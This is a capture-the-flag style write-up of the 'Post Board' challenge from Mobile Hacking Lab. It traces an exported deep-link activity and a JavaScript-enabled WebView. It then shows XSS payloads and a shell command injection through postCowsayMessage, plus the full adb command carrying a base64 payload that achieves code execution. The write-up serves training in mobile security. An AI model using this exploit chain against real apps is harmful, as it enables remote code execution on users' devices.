> For the complete documentation index, see [llms.txt](https://kero0x1.gitbook.io/general/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kero0x1.gitbook.io/general/mobile-pentest/mobile-hacking-lab/post-board.md).

# Post Board

Hello everyone , In this blog post , I will try to explain my solution steps for Post Board challenge from Mobile Hacking Lab Platform . i hope it will be useful for you

1. After we install The APK then we open it its a message application with an input field

   <img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2FuqHfi9NtaAR0eP3Vzpwp%2Fimage.png?alt=media" alt="image.png" width="261">
2. Let’s **Examine** **the AndroidManifest.xml** we found that activity `com.mobilehackinglab.postboard.MainActivity` , it’s an exported activity
   1. have a data schema with scheme= `postboard` and android:host= `postmessage` with a category `BROWSABLE`

      <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2FTKxn52JUoQv3vJGN1tOE%2Fimage.png?alt=media&amp;token=c508b65e-83f7-4348-baf3-aeacbdc8371a" alt=""><figcaption></figcaption></figure>
3. let’s analysis this main activity code :
   1. First thing we find is `setupView()` that have :
      1. `setJavaScriptEnabled(**true**)`
      2. path that load the url `file:///android_asset/index.html`

         <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2F1u46DLY9AGvJsYOWaruj%2Fimage.png?alt=media&amp;token=c982e559-2fec-4d97-a72d-488a20390a7f" alt=""><figcaption></figcaption></figure>
   2. the second thing is `handleIntent()`
      1. Verifies if the intent’s URI scheme is `postboard` and the host is `postmessage`.
      2. Decodes a Base64-encoded path in the URI, escapes certain characters, and passes it to JavaScript via `WebAppInterface.postMarkdownMessage` to display it on the home page.

         <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2FYwNzHgPhVYaMpMTmJ22e%2Fimage.png?alt=media&amp;token=8019a6a6-78b3-4f5f-829d-1d24fc41abef" alt=""><figcaption></figcaption></figure>
4. Let’s try to test our input :
   1. First payload is `<h1>kero</h1>` ⇒ already success
   2. the second payload is `<img src=x onerror=alert(1)>` ⇒ success

      <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2FTL1yGxMf8NQAjWgorDfX%2Fimage.png?alt=media&amp;token=378beac2-7aa8-42e4-9471-92ad2e55c4aa" alt="" width="250"><figcaption></figcaption></figure>
5. when we analysis the `WebAppInterface` class we found this Func `postCowsayMessage()`

   <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2FKHEcPiyD5Q8oMOr0e15K%2Fimage.png?alt=media&amp;token=609e72de-e490-4892-a523-81d5b3fa27ab" alt=""><figcaption></figcaption></figure>

   <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2FTTvIhqsc7kVKHey4agpg%2Fimage.png?alt=media&amp;token=04430e84-3717-46bb-9b11-00b860a8aae3" alt=""><figcaption></figcaption></figure>

   1. it execute the `cowsay` script located at `CowsayUtil.scriptPath`
   2. passing the message arg as `{"bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message}`

      1. it use a shell , then call the message + script path
      2. may be we can call the `postCowsayMessage` and then pass `whoami` as a `cowsayMessage`
      3. then it will be passed to `runCowsay` and then exec it by :
         1. my payload is `<img src=x onerror=WebAppInterface.postCowsayMessage("Kero0x1_is_here;id")>` let’s encode it and put it with adb

      `adb shell am start -n "com.mobilehackinglab.postboard/.MainActivity" -a "android.intent.action.VIEW" -d "postboard://postmessage/`

      `PGltZyBzcmM9eCBvbmVycm9yPVdlYkFwcEludGVyZmFjZS5wb3N0Q293c2F5TWVzc2FnZSgiS2VybzB4MV9pc19oZXJlO2lkIik+"`

      <figure><img src="https://2140186435-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpoPpsF6DyQtOrXy70rxC%2Fuploads%2F20vRyZMO9nqUzNK341sz%2Fimage.png?alt=media&amp;token=0dd3372f-72cf-4528-ad5f-dc5317751fb3" alt=""><figcaption></figcaption></figure>
6. and here we success and already get rce 😉
